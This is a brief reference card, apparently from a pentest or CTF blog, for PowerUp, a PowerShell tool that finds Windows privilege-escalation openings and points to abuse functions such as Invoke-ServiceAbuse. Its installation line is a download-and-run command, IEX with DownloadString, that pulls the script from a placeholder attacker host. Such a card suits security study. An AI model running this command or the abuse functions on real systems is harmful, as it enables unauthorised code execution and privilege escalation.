PowerUp
Finds local Windows escalations: services, permissions and paths.
A PowerShell script focused on the most common local escalation vectors in Windows. Its flagship command, `Invoke-AllChecks`, reviews in one pass services with modifiable binaries or paths, unquoted service paths, writable service registry keys, `AlwaysInstallElevated`, stored credentials and manipulable scheduled tasks, and for each finding suggests the matching abuse function (`Invoke-ServiceAbuse`, `Write-ServiceBinary`). It is winPEAS narrowed to configuration-based privesc, more surgical and less noisy.
Family Privilege escalation
Flags Invoke-AllChecks Get-ModifiableService
Concepts Insecure service permissions (Windows), RCE via a group-writable directory in a root service, AlwaysInstallElevated abuse, Scheduled task hijacking (Windows), PATH hijacking
Cheatsheet Services & tasks
Installation
IEX(New-Object Net.WebClient).DownloadString('http://<lhost>/PowerUp.ps1')Useful commands
Reference tool: it does not yet appear in a published machine on the blog, but it is part of the arsenal for its everyday use.